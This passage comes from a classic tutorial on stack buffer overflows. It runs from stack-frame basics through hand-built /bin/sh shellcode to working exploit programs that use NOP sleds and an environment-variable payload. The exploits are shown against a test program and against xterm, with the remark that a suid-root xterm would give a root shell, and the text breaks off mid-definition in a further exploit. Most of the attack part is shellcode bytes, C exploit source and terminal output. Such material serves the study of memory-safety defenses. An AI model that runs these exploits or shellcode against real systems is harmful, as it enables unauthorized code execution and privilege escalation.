and advances SP to reserve space for the local variables. This code is called the procedure prolog. Upon procedure exit, the stack must be cleaned up again, something called the procedure epilog. The Intel ENTER and LEAVE instructions and the Motorola LINK and UNLINK instructions, have been provided to do most of the procedure prolog and epilog work efficiently. Let us see what the stack looks like in a simple example: example1.c: ------------------------------------------------------------------------------ void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; } void main() { function(1,2,3); } ------------------------------------------------------------------------------ To understand what the program does to call function() we compile it with gcc using the -S switch to generate assembly code output: $ gcc -S -o example1.s example1.c By looking at the assembly language output we see that the call to function() is translated to: pushl $3 pushl $2 pushl $1 call function This pushes the 3 arguments to function backwards into the stack, and calls function(). The instruction 'call' will push the instruction pointer (IP) onto the stack. We'll call the saved IP the return address (RET). The first thing done in function is the procedure prolog: pushl %ebp movl %esp,%ebp subl $20,%esp This pushes EBP, the frame pointer, onto the stack. It then copies the current SP onto EBP, making it the new FP pointer. We'll call the saved FP pointer SFP. It then allocates space for the local variables by subtracting their size from SP. We must remember that memory can only be addressed in multiples of the word size. A word in our case is 4 bytes, or 32 bits. So our 5 byte buffer is really going to take 8 bytes (2 words) of memory, and our 10 byte buffer is going to take 12 bytes (3 words) of memory. That is why SP is being subtracted by 20. With that in mind our stack looks like this when function() is called (each space represents a byte): bottom of top of memory memory buffer2 buffer1 sfp ret a b c <------ [ ][ ][ ][ ][ ][ ][ ] top of bottom of stack stack Buffer Overflows ~~~~~~~~~~~~~~~~ A buffer overflow is the result of stuffing more data into a buffer than it can handle. How can this often found programming error can be taken advantage to execute arbitrary code? Lets look at another example: example2.c ------------------------------------------------------------------------------ void function(char *str) { char buffer[16]; strcpy(buffer,str); } void main() { char large_string[256]; int i; for( i = 0; i < 255; i++) large_string[i] = 'A'; function(large_string); } ------------------------------------------------------------------------------ This is program has a function with a typical buffer overflow coding error. The function copies a supplied string without bounds checking by using strcpy() instead of strncpy(). If you run this program you will get a segmentation violation. Lets see what its stack looks when we call function: bottom of top of memory memory buffer sfp ret *str <------ [ ][ ][ ][ ] top of bottom of stack stack What is going on here? Why do we get a segmentation violation? Simple. strcpy() is coping the contents of *str (larger_string[]) into buffer[] until a null character is found on the string. As we can see buffer[] is much smaller than *str. buffer[] is 16 bytes long, and we are trying to stuff it with 256 bytes. This means that all 250 bytes after buffer in the stack are being overwritten. This includes the SFP, RET, and even *str! We had filled large_string with the character 'A'. It's hex character value is 0x41. That means that the return address is now 0x41414141. This is outside of the process address space. That is why when the function returns and tries to read the next instruction from that address you get a segmentation violation. So a buffer overflow allows us to change the return address of a function. In this way we can change the flow of execution of the program. Lets go back to our first example and recall what the stack looked like: bottom of top of memory memory buffer2 buffer1 sfp ret a b c <------ [ ][ ][ ][ ][ ][ ][ ] top of bottom of stack stack Lets try to modify our first example so that it overwrites the return address, and demonstrate how we can make it execute arbitrary code. Just before buffer1[] on the stack is SFP, and before it, the return address. That is 4 bytes pass the end of buffer1[]. But remember that buffer1[] is really 2 word so its 8 bytes long. So the return address is 12 bytes from the start of buffer1[]. We'll modify the return value in such a way that the assignment statement 'x = 1;' after the function call will be jumped. To do so we add 8 bytes to the return address. Our code is now: example3.c: ------------------------------------------------------------------------------ void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; (*ret) += 8; } void main() { int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); } ------------------------------------------------------------------------------ What we have done is add 12 to buffer1[]'s address. This new address is where the return address is stored. We want to skip pass the assignment to the printf call. How did we know to add 8 to the return address? We used a test value first (for example 1), compiled the program, and then started gdb: ------------------------------------------------------------------------------ [aleph1]$ gdb example3 GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (no debugging symbols found)... (gdb) disassemble main Dump of assembler code for function main: 0x8000490
: pushl %ebp 0x8000491 : movl %esp,%ebp 0x8000493 : subl $0x4,%esp 0x8000496 : movl $0x0,0xfffffffc(%ebp) 0x800049d : pushl $0x3 0x800049f : pushl $0x2 0x80004a1 : pushl $0x1 0x80004a3 : call 0x8000470 0x80004a8 : addl $0xc,%esp 0x80004ab : movl $0x1,0xfffffffc(%ebp) 0x80004b2 : movl 0xfffffffc(%ebp),%eax 0x80004b5 : pushl %eax 0x80004b6 : pushl $0x80004f8 0x80004bb : call 0x8000378 0x80004c0 : addl $0x8,%esp 0x80004c3 : movl %ebp,%esp 0x80004c5 : popl %ebp 0x80004c6 : ret 0x80004c7 : nop ------------------------------------------------------------------------------ We can see that when calling function() the RET will be 0x8004a8, and we want to jump past the assignment at 0x80004ab. The next instruction we want to execute is the at 0x8004b2. A little math tells us the distance is 8 bytes. Shell Code ~~~~~~~~~~ So now that we know that we can modify the return address and the flow of execution, what program do we want to execute? In most cases we'll simply want the program to spawn a shell. From the shell we can then issue other commands as we wish. But what if there is no such code in the program we are trying to exploit? How can we place arbitrary instruction into its address space? The answer is to place the code with are trying to execute in the buffer we are overflowing, and overwrite the return address so it points back into the buffer. Assuming the stack starts at address 0xFF, and that S stands for the code we want to execute the stack would then look like this: bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory buffer sfp ret a b c <------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03] ^ | |____________________________| top of bottom of stack stack The code to spawn a shell in C looks like: shellcode.c ----------------------------------------------------------------------------- #include void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } ------------------------------------------------------------------------------ To find out what does it looks like in assembly we compile it, and start up gdb. Remember to use the -static flag. Otherwise the actual code the for the execve system call will not be included. Instead there will be a reference to dynamic C library that would normally would be linked in at load time. ------------------------------------------------------------------------------ [aleph1]$ gcc -o shellcode -ggdb -static shellcode.c [aleph1]$ gdb shellcode GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130
: pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : subl $0x8,%esp 0x8000136 : movl $0x80027b8,0xfffffff8(%ebp) 0x800013d : movl $0x0,0xfffffffc(%ebp) 0x8000144 : pushl $0x0 0x8000146 : leal 0xfffffff8(%ebp),%eax 0x8000149 : pushl %eax 0x800014a : movl 0xfffffff8(%ebp),%eax 0x800014d : pushl %eax 0x800014e : call 0x80002bc <__execve> 0x8000153 : addl $0xc,%esp 0x8000156 : movl %ebp,%esp 0x8000158 : popl %ebp 0x8000159 : ret End of assembler dump. (gdb) disassemble __execve Dump of assembler code for function __execve: 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx 0x80002c0 <__execve+4>: movl $0xb,%eax 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx 0x80002ce <__execve+18>: int $0x80 0x80002d0 <__execve+20>: movl %eax,%edx 0x80002d2 <__execve+22>: testl %edx,%edx 0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42> 0x80002d6 <__execve+26>: negl %edx 0x80002d8 <__execve+28>: pushl %edx 0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location> 0x80002de <__execve+34>: popl %edx 0x80002df <__execve+35>: movl %edx,(%eax) 0x80002e1 <__execve+37>: movl $0xffffffff,%eax 0x80002e6 <__execve+42>: popl %ebx 0x80002e7 <__execve+43>: movl %ebp,%esp 0x80002e9 <__execve+45>: popl %ebp 0x80002ea <__execve+46>: ret 0x80002eb <__execve+47>: nop End of assembler dump. ------------------------------------------------------------------------------ Lets try to understand what is going on here. We'll start by studying main: ------------------------------------------------------------------------------ 0x8000130
: pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : subl $0x8,%esp This is the procedure prelude. It first saves the old frame pointer, makes the current stack pointer the new frame pointer, and leaves space for the local variables. In this case its: char *name[2]; or 2 pointers to a char. Pointers are a word long, so it leaves space for two words (8 bytes). 0x8000136 : movl $0x80027b8,0xfffffff8(%ebp) We copy the value 0x80027b8 (the address of the string "/bin/sh") into the first pointer of name[]. This is equivalent to: name[0] = "/bin/sh"; 0x800013d : movl $0x0,0xfffffffc(%ebp) We copy the value 0x0 (NULL) into the seconds pointer of name[]. This is equivalent to: name[1] = NULL; The actual call to execve() starts here. 0x8000144 : pushl $0x0 We push the arguments to execve() in reverse order onto the stack. We start with NULL. 0x8000146 : leal 0xfffffff8(%ebp),%eax We load the address of name[] into the EAX register. 0x8000149 : pushl %eax We push the address of name[] onto the stack. 0x800014a : movl 0xfffffff8(%ebp),%eax We load the address of the string "/bin/sh" into the EAX register. 0x800014d : pushl %eax We push the address of the string "/bin/sh" onto the stack. 0x800014e : call 0x80002bc <__execve> Call the library procedure execve(). The call instruction pushes the IP onto the stack. ------------------------------------------------------------------------------ Now execve(). Keep in mind we are using a Intel based Linux system. The syscall details will change from OS to OS, and from CPU to CPU. Some will pass the arguments on the stack, others on the registers. Some use a software interrupt to jump to kernel mode, others use a far call. Linux passes its arguments to the system call on the registers, and uses a software interrupt to jump into kernel mode. ------------------------------------------------------------------------------ 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx The procedure prelude. 0x80002c0 <__execve+4>: movl $0xb,%eax Copy 0xb (11 decimal) onto the stack. This is the index into the syscall table. 11 is execve. 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx Copy the address of "/bin/sh" into EBX. 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx Copy the address of name[] into ECX. 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx Copy the address of the null pointer into %edx. 0x80002ce <__execve+18>: int $0x80 Change into kernel mode. ------------------------------------------------------------------------------ So as we can see there is not much to the execve() system call. All we need to do is: a) Have the null terminated string "/bin/sh" somewhere in memory. b) Have the address of the string "/bin/sh" somewhere in memory followed by a null long word. c) Copy 0xb into the EAX register. d) Copy the address of the address of the string "/bin/sh" into the EBX register. e) Copy the address of the string "/bin/sh" into the ECX register. f) Copy the address of the null long word into the EDX register. g) Execute the int $0x80 instruction. But what if the execve() call fails for some reason? The program will continue fetching instructions from the stack, which may contain random data! The program will most likely core dump. We want the program to exit cleanly if the execve syscall fails. To accomplish this we must then add a exit syscall after the execve syscall. What does the exit syscall looks like? exit.c ------------------------------------------------------------------------------ #include void main() { exit(0); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o exit -static exit.c [aleph1]$ gdb exit GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (no debugging symbols found)... (gdb) disassemble _exit Dump of assembler code for function _exit: 0x800034c <_exit>: pushl %ebp 0x800034d <_exit+1>: movl %esp,%ebp 0x800034f <_exit+3>: pushl %ebx 0x8000350 <_exit+4>: movl $0x1,%eax 0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx 0x8000358 <_exit+12>: int $0x80 0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx 0x800035d <_exit+17>: movl %ebp,%esp 0x800035f <_exit+19>: popl %ebp 0x8000360 <_exit+20>: ret 0x8000361 <_exit+21>: nop 0x8000362 <_exit+22>: nop 0x8000363 <_exit+23>: nop End of assembler dump. ------------------------------------------------------------------------------ The exit syscall will place 0x1 in EAX, place the exit code in EBX, and execute "int 0x80". That's it. Most applications return 0 on exit to indicate no errors. We will place 0 in EBX. Our list of steps is now: a) Have the null terminated string "/bin/sh" somewhere in memory. b) Have the address of the string "/bin/sh" somewhere in memory followed by a null long word. c) Copy 0xb into the EAX register. d) Copy the address of the address of the string "/bin/sh" into the EBX register. e) Copy the address of the string "/bin/sh" into the ECX register. f) Copy the address of the null long word into the EDX register. g) Execute the int $0x80 instruction. h) Copy 0x1 into the EAX register. i) Copy 0x0 into the EBX register. j) Execute the int $0x80 instruction. Trying to put this together in assembly language, placing the string after the code, and remembering we will place the address of the string, and null word after the array, we have: ------------------------------------------------------------------------------ movl string_addr,string_addr_addr movb $0x0,null_byte_addr movl $0x0,null_addr movl $0xb,%eax movl string_addr,%ebx leal string_addr,%ecx leal null_string,%edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 /bin/sh string goes here. ------------------------------------------------------------------------------ The problem is that we don't know where in the memory space of the program we are trying to exploit the code (and the string that follows it) will be placed. One way around it is to use a JMP, and a CALL instruction. The JMP and CALL instructions can use IP relative addressing, which means we can jump to an offset from the current IP without needing to know the exact address of where in memory we want to jump to. If we place a CALL instruction right before the "/bin/sh" string, and a JMP instruction to it, the strings address will be pushed onto the stack as the return address when CALL is executed. All we need then is to copy the return address into a register. The CALL instruction can simply call the start of our code above. Assuming now that J stands for the JMP instruction, C for the CALL instruction, and s for the string, the execution flow would now be: bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory buffer sfp ret a b c <------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03] ^|^ ^| | |||_____________||____________| (1) (2) ||_____________|| |______________| (3) top of bottom of stack stack With this modifications, using indexed addressing, and writing down how many bytes each instruction takes our code looks like: ------------------------------------------------------------------------------ jmp offset-to-call # 2 bytes popl %esi # 1 byte movl %esi,array-offset(%esi) # 3 bytes movb $0x0,nullbyteoffset(%esi)# 4 bytes movl $0x0,null-offset(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal array-offset,(%esi),%ecx # 3 bytes leal null-offset(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call offset-to-popl # 5 bytes /bin/sh string goes here. ------------------------------------------------------------------------------ Calculating the offsets from jmp to call, from call to popl, from the string address to the array, and from the string address to the null long word, we now have: ------------------------------------------------------------------------------ jmp 0x26 # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2b # 5 bytes .string \"/bin/sh\" # 8 bytes ------------------------------------------------------------------------------ Looks good. To make sure it works correctly we must compile it and run it. But there is a problem. Our code modifies itself, but most operating system mark code pages read-only. To get around this restriction we must place the code we wish to execute in the stack or data segment, and transfer control to it. To do so we will place our code in a global array in the data segment. We need first a hex representation of the binary code. Lets compile it first, and then use gdb to obtain it. shellcodeasm.c ------------------------------------------------------------------------------ void main() { __asm__(" jmp 0x2a # 3 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2f # 5 bytes .string \"/bin/sh\" # 8 bytes "); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c [aleph1]$ gdb shellcodeasm GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130
: pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : jmp 0x800015f 0x8000135 : popl %esi 0x8000136 : movl %esi,0x8(%esi) 0x8000139 : movb $0x0,0x7(%esi) 0x800013d : movl $0x0,0xc(%esi) 0x8000144 : movl $0xb,%eax 0x8000149 : movl %esi,%ebx 0x800014b : leal 0x8(%esi),%ecx 0x800014e : leal 0xc(%esi),%edx 0x8000151 : int $0x80 0x8000153 : movl $0x1,%eax 0x8000158 : movl $0x0,%ebx 0x800015d : int $0x80 0x800015f : call 0x8000135 0x8000164 : das 0x8000165 : boundl 0x6e(%ecx),%ebp 0x8000168 : das 0x8000169 : jae 0x80001d3 <__new_exitfn+55> 0x800016b : addb %cl,0x55c35dec(%ecx) End of assembler dump. (gdb) x/bx main+3 0x8000133 : 0xeb (gdb) 0x8000134 : 0x2a (gdb) . . . ------------------------------------------------------------------------------ testsc.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o testsc testsc.c [aleph1]$ ./testsc $ exit [aleph1]$ ------------------------------------------------------------------------------ It works! But there is an obstacle. In most cases we'll be trying to overflow a character buffer. As such any null bytes in our shellcode will be considered the end of the string, and the copy will be terminated. There must be no null bytes in the shellcode for the exploit to work. Let's try to eliminate the bytes (and at the same time make it smaller). Problem instruction: Substitute with: -------------------------------------------------------- movb $0x0,0x7(%esi) xorl %eax,%eax molv $0x0,0xc(%esi) movb %eax,0x7(%esi) movl %eax,0xc(%esi) -------------------------------------------------------- movl $0xb,%eax movb $0xb,%al -------------------------------------------------------- movl $0x1, %eax xorl %ebx,%ebx movl $0x0, %ebx movl %ebx,%eax inc %eax -------------------------------------------------------- Our improved code: shellcodeasm2.c ------------------------------------------------------------------------------ void main() { __asm__(" jmp 0x1f # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes xorl %eax,%eax # 2 bytes movb %eax,0x7(%esi) # 3 bytes movl %eax,0xc(%esi) # 3 bytes movb $0xb,%al # 2 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes xorl %ebx,%ebx # 2 bytes movl %ebx,%eax # 2 bytes inc %eax # 1 bytes int $0x80 # 2 bytes call -0x24 # 5 bytes .string \"/bin/sh\" # 8 bytes # 46 bytes total "); } ------------------------------------------------------------------------------ And our new test program: testsc2.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o testsc2 testsc2.c [aleph1]$ ./testsc2 $ exit [aleph1]$ ------------------------------------------------------------------------------ Writing an Exploit ~~~~~~~~~~~~~~~~~~ (or how to mung the stack) ~~~~~~~~~~~~~~~~~~~~~~~~~~ Lets try to pull all our pieces together. We have the shellcode. We know it must be part of the string which we'll use to overflow the buffer. We know we must point the return address back into the buffer. This example will demonstrate these points: overflow1.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer,large_string); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o exploit1 exploit1.c [aleph1]$ ./exploit1 $ exit exit [aleph1]$ ------------------------------------------------------------------------------ What we have done above is filled the array large_string[] with the address of buffer[], which is where our code will be. Then we copy our shellcode into the beginning of the large_string string. strcpy() will then copy large_string onto buffer without doing any bounds checking, and will overflow the return address, overwriting it with the address where our code is now located. Once we reach the end of main and it tried to return it jumps to our code, and execs a shell. The problem we are faced when trying to overflow the buffer of another program is trying to figure out at what address the buffer (and thus our code) will be. The answer is that for every program the stack will start at the same address. Most programs do not push more than a few hundred or a few thousand bytes into the stack at any one time. Therefore by knowing where the stack starts we can try to guess where the buffer we are trying to overflow will be. Here is a little program that will print its stack pointer: sp.c ------------------------------------------------------------------------------ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main() { printf("0x%x\n", get_sp()); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ ./sp 0x8000470 [aleph1]$ ------------------------------------------------------------------------------ Lets assume this is the program we are trying to overflow is: vulnerable.c ------------------------------------------------------------------------------ void main(int argc, char *argv[]) { char buffer[512]; if (argc > 1) strcpy(buffer,argv[1]); } ------------------------------------------------------------------------------ We can create a program that takes as a parameter a buffer size, and an offset from its own stack pointer (where we believe the buffer we want to overflow may live). We'll put the overflow string in an environment variable so it is easy to manipulate: exploit2.c ------------------------------------------------------------------------------ #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr += 4; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------ Now we can try to guess what the buffer and offset should be: ------------------------------------------------------------------------------ [aleph1]$ ./exploit2 500 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG [aleph1]$ exit [aleph1]$ ./exploit2 600 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG Illegal instruction [aleph1]$ exit [aleph1]$ ./exploit2 600 100 Using address: 0xbffffd4c [aleph1]$ ./vulnerable $EGG Segmentation fault [aleph1]$ exit [aleph1]$ ./exploit2 600 200 Using address: 0xbffffce8 [aleph1]$ ./vulnerable $EGG Segmentation fault [aleph1]$ exit . . . [aleph1]$ ./exploit2 600 1564 Using address: 0xbffff794 [aleph1]$ ./vulnerable $EGG $ ------------------------------------------------------------------------------ As we can see this is not an efficient process. Trying to guess the offset even while knowing where the beginning of the stack lives is nearly impossible. We would need at best a hundred tries, and at worst a couple of thousand. The problem is we need to guess *exactly* where the address of our code will start. If we are off by one byte more or less we will just get a segmentation violation or a invalid instruction. One way to increase our chances is to pad the front of our overflow buffer with NOP instructions. Almost all processors have a NOP instruction that performs a null operation. It is usually used to delay execution for purposes of timing. We will take advantage of it and fill half of our overflow buffer with them. We will place our shellcode at the center, and then follow it with the return addresses. If we are lucky and the return address points anywhere in the string of NOPs, they will just get executed until they reach our code. In the Intel architecture the NOP instruction is one byte long and it translates to 0x90 in machine code. Assuming the stack starts at address 0xFF, that S stands for shell code, and that N stands for a NOP instruction the new stack would look like this: bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory buffer sfp ret a b c <------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE] ^ | |_____________________| top of bottom of stack stack The new exploits is then: exploit3.c ------------------------------------------------------------------------------ #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------ A good selection for our buffer size is about 100 bytes more than the size of the buffer we are trying to overflow. This will place our code at the end of the buffer we are trying to overflow, giving a lot of space for the NOPs, but still overwriting the return address with the address we guessed. The buffer we are trying to overflow is 512 bytes long, so we'll use 612. Let's try to overflow our test program with our new exploit: ------------------------------------------------------------------------------ [aleph1]$ ./exploit3 612 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG $ ------------------------------------------------------------------------------ Whoa! First try! This change has improved our chances a hundredfold. Let's try it now on a real case of a buffer overflow. We'll use for our demonstration the buffer overflow on the Xt library. For our example, we'll use xterm (all programs linked with the Xt library are vulnerable). You must be running an X server and allow connections to it from the localhost. Set your DISPLAY variable accordingly. ------------------------------------------------------------------------------ [aleph1]$ export DISPLAY=:0.0 [aleph1]$ ./exploit3 1124 Using address: 0xbffffdb4 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "^1FF V 1@/bin/sh ^C [aleph1]$ exit [aleph1]$ ./exploit3 2148 100 Using address: 0xbffffd48 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "^1FF V 1@/bin/shHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH HHHHHHHHHHHH Warning: some arguments in previous message were lost Illegal instruction [aleph1]$ exit . . . [aleph1]$ ./exploit4 2148 600 Using address: 0xbffffb54 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "^1FF V 1@/bin/shTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT TTTTTTTTTTTT Warning: some arguments in previous message were lost bash$ ------------------------------------------------------------------------------ Eureka! Less than a dozen tries and we found the magic numbers. If xterm where installed suid root this would now be a root shell. Small Buffer Overflows ~~~~~~~~~~~~~~~~~~~~~~ There will be times when the buffer you are trying to overflow is so small that either the shellcode wont fit into it, and it will overwrite the return address with instructions instead of the address of our code, or the number of NOPs you can pad the front of the string with is so small that the chances of guessing their address is minuscule. To obtain a shell from these programs we will have to go about it another way. This particular approach only works when you have access to the program's environment variables. What we will do is place our shellcode in an environment variable, and then overflow the buffer with the address of this variable in memory. This method also increases your changes of the exploit working as you can make the environment variable holding the shell code as large as you want. The environment variables are stored in the top of the stack when the program is started, any modification by setenv() are then allocated elsewhere. The stack at the beginning then looks like this: NULLNULL Our new program will take an extra variable, the size of the variable containing the shellcode and NOPs. Our new exploit now looks like this: exploit4.c ------------------------------------------------------------------------------ #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define 